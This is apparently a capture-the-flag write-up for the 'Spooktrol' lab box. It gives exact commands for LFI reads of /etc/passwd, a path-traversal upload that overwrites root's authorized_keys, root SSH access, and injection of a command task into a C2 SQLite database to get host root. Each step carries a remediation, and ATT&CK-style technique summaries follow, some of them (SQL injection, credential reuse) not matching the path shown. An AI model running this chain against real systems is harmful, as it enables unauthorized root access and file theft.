Spooktrol
Summary
I scanned the target and found two SSH services (ports 22 and 2222) and an HTTP-based malware command-and-control (C2) framework on port 80. By downloading the C2 agent binary from an unauthenticated endpoint and reverse-engineering it, I extracted a hard-coded authentication token and learned the JSON tasking protocol the agent uses to receive instructions. A local-file-inclusion flaw in the file-serving API confirmed the process ran as root inside a container. A directory-traversal vulnerability in the file-upload endpoint — abused with the extracted token — let me overwrite the container root account's authorized SSH keys, granting an interactive root shell via the second SSH listener and the first flag. From inside the container I found the C2's SQLite task database stored on a volume accessible to container-root, enumerated the host-side agent session, and inserted a command-execution task directly into the database. When the host agent polled the C2 server and ran the queued task, it executed as root on the underlying host machine, delivering the final flag.
Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -p22,80,2222 $TARGETcurl -sI http://$TARGET/curl -sS 'http://$TARGET/file_management/?file=implant' -o implant && file implantExact commands 3
strings implant | grep -E 'auth|Cookie|poll|task|upload|http|://'readelf -a implant | grep -E 'NEEDED|Entry|Type'objdump -d implant | grep -A 20 'poll'FixRemove hard-coded credentials from the distributed agent binaryCritical
Exact commands 2
curl -sS 'http://$TARGET/file_management/?file=../../../etc/passwd'curl -sS 'http://$TARGET/file_management/?file=../../../proc/1/cmdline' | tr '\0' ' 'FixRestrict the file-management endpoint to a strict allowlist of permitted filenamesHigh
Exact commands 2
if [ ! -f /tmp/spook_key ]; then ssh-keygen -q -t ed25519 -N '' -f /tmp/spook_key; ficurl -sS --max-time 12 -X PUT -b "$SESSION_COOKIE" -F 'file=@/tmp/spook_key.pub;filename=../../../../../../../root/.ssh/authorized_keys' 'http://$TARGET/file_upload/'FixSanitise upload filenames and drop root privileges on the C2 web processCritical
Exact commands 2
ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'id'ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'cat /root/user.txt'Exact commands 4
ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'find /opt -name "*.db" 2>/dev/null'ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'sqlite3 /opt/spook2/sql_app.db ".tables"'ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'sqlite3 -header -column /opt/spook2/sql_app.db "SELECT * FROM agents;"'ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'sqlite3 -header -column /opt/spook2/sql_app.db "SELECT * FROM tasks LIMIT 10;"'FixPrevent direct write access to the C2 task database from within the containerCritical
Exact commands 2
ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'sqlite3 /opt/spook2/sql_app.db "INSERT INTO tasks (target,status,task,arg1) VALUES (\"[REDACTED: protected value]\",0,1,\"cat /root/root.txt\");"'ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -i /tmp/spook_key root@$TARGET 'sqlite3 -header -column /opt/spook2/sql_app.db "SELECT id,target,status,task,result FROM tasks WHERE target=\"[REDACTED: protected value]\" ORDER BY id DESC LIMIT 5;"'FixPrevent direct write access to the C2 task database from within the containerCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | tcpwrapped |
| 2222/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |